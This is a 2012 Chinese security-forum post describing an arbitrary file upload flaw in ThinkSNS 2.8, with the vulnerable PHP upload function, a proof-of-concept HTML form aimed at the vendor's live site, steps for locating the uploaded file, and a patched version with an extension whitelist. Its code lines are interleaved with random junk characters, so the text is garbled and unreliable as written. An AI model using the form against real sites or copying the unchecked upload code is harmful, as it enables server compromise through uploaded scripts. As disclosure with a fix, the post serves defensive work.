中国网络渗透测试联盟

标题: ThinkSNS 2.8任意文件上传漏洞及修复 [打印本页]

作者: admin    时间: 2012-12-4 11:12
标题: ThinkSNS 2.8任意文件上传漏洞及修复
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
) y. s0 e: w5 M6 @0 m+ w6 N: A5 r& ]+ m1 L0 ~* j, J1 U9 o4 e
, t! V+ t7 m8 F" b, l9 |
\api\StatusesApi.class.php
8 j- `0 c" Y0 l" p 2 l" S) C! O/ G  T# f# |
function uploadpic(){- A4 D: a$ \( B3 }1 S
      if( $_FILES['pic'] ){
8 T+ D  R& T# G, I& R     //执行上传操作
# q5 m$ W' O* U; H! ]$ m# F3 L     $savePath =  $this->_getSaveTempPath();
6 |+ A; i' ?( Y9 K/ @     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
9 b3 x  U9 h' A% {    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
7 w" M+ a2 d1 z8 ^! L8 {# l       {
" P0 h+ Z* r: Q; Z1 c# U1 S% a  [& ^        $result['boolen']    = 1;1 l; g) F! f% _1 g5 F5 \
        $result['type_data'] = 'temp/'.$filename;
% k+ F; q& n. s6 A6 V1 s# U# ~        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;
6 v' m5 a! s) L       } else {
% O6 |; u6 R" V5 A        $result['boolen']    = 0;7 @2 J7 r! t) G' E6 Z/ L) E) r
        $result['message']   = '上传失败';
6 @$ l8 H4 r' c- p       }
3 U0 p* n: J1 U     }else{
, D! v+ I! O2 p' r+ n  |* Y         $result['boolen']    = 0;% u7 c$ g: `8 ]$ r' f
         $result['message']   = '上传失败';. S2 e' Q- f, P6 Z* L" N
     }  y1 T$ e) l/ p! i- j: ]& C
return $result;8 Y" `; z6 f" `/ F
    }7 r9 r; f7 T5 A! E
unloadpic()方法没有对文件类型进行验证: r: b1 e( P- Y) ]5 O
4 a' L6 Q& B9 C
可以构建表单, 选择任意文件, 提交到+ ^. h- N/ B3 E( {$ e$ @. P
/index.php?app=w3g&mod=Index&act=doPost
) h; n, |# ]0 y; i1 K; b
' D. F$ c! S$ \! @2 F' K在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
2 ?) C! m, l- y, k! ]6 C# u# Q" A
; n* H$ a! S7 j" W+ `
, {3 `3 ]  Y0 q- h! L) _在登录thinksns官方微博后,' B+ O3 C2 ]0 D( w% m& [3 g" h
构建以下表单:
# c, D8 N3 s; }. a$ B* x
# P4 v1 ?, b0 d  W1 d4 r2 f4 H/ P3 ^<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />8 V1 b; i* {1 z5 K% c' b
<textarea name="content">test</textarea>
7 V$ C4 L- Q0 \: g  }file: <input id="file" type="file" name="pic" />' {7 [* j: N) `2 Q3 d6 D6 i+ V5 s
<input type="submit" value="Post" />
" R% L5 n$ x$ ?</form>$ j% t1 g, q0 M3 s) q7 |
去掉缩略图的前缀(small_ )" V3 W& M1 H8 P5 K3 `7 N
​修复方案:
) l- @8 f1 I! u, K" r3 w3 X: D& n* h4 t' R, G

" \  V  u8 c) S* W& I\api\StatusesApi.class.php
, Q) t' |( F4 c1 q
2 O! f2 v5 q. p2 O) G# q8 Y' t9 Gfunction uploadpic(){
+ p! Y( E! g8 F9 p% Z     /**3 h5 K( n. \( s7 t/ [  [) r
      * 20121018 @yelo
" k6 K7 Y7 H# i# x( X: ~% C      * 增加上传类型验证6 H1 B! l8 a! V( R7 R! ]
      */2 x8 B( j8 d4 w/ d) e  q
     $pathinfo = pathinfo($_FILES['pic']['name']);
9 ]  N0 l8 w: x2 w6 u2 {; k     $ext = $pathinfo['extension'];* O$ ?$ A: Y" l. x1 |6 f$ l1 X
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
/ |! _  b- W2 e# x$ W9 P3 v
$ H/ g$ Z; @' F& C     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
' \$ p6 |8 _- G + Y; V9 L* ]. Z4 `9 x
     if( $uploadCondition ){
6 a, l. T' d" I2 E) i  ~5 M     //执行上传操作6 o6 _' r$ u9 z2 r+ D0 `2 S* S& l
     $savePath =  $this->_getSaveTempPath();2 K* ^; C) D* O- }% E7 t! Z
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);8 y0 O* }4 H4 m+ V
    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
4 K, U5 @+ z$ {% B1 H, ~       {# y& u7 k  I6 Z  [; L$ M3 J" Z, Y1 I( V1 n
        $result['boolen']    = 1;' r' Y: m2 }0 }; ?, d
        $result['type_data'] = 'temp/'.$filename;% ]! N& N3 v  N7 _
        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;. a  M+ R$ L- Z$ {
       } else {
. q1 @2 @: x5 ^9 g& W. |' ?        $result['boolen']    = 0;
% f% m: }' c" T- |: E9 R3 {8 Y        $result['message']   = '上传失败';
# g: T5 Q" z" U) N       }5 l. C4 o. r- C9 @+ Y
     }else{
: n, K/ z2 f% m% Y5 _+ m5 P         $result['boolen']    = 0;- C9 i8 T8 ~0 n  x' R
         $result['message']   = '上传失败';
1 M) P  f) g3 T) b/ w! }, B     }
6 x1 L% I9 j5 ?9 ?6 C5 D( G" ireturn $result;
; B6 g, A/ p7 r! K- @0 n    }& R# m/ L0 x, ?4 {' k. }

7 t) P2 N9 M* J+ b7 @' r8 B5 C
7 _5 H5 ~) t! S5 W




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2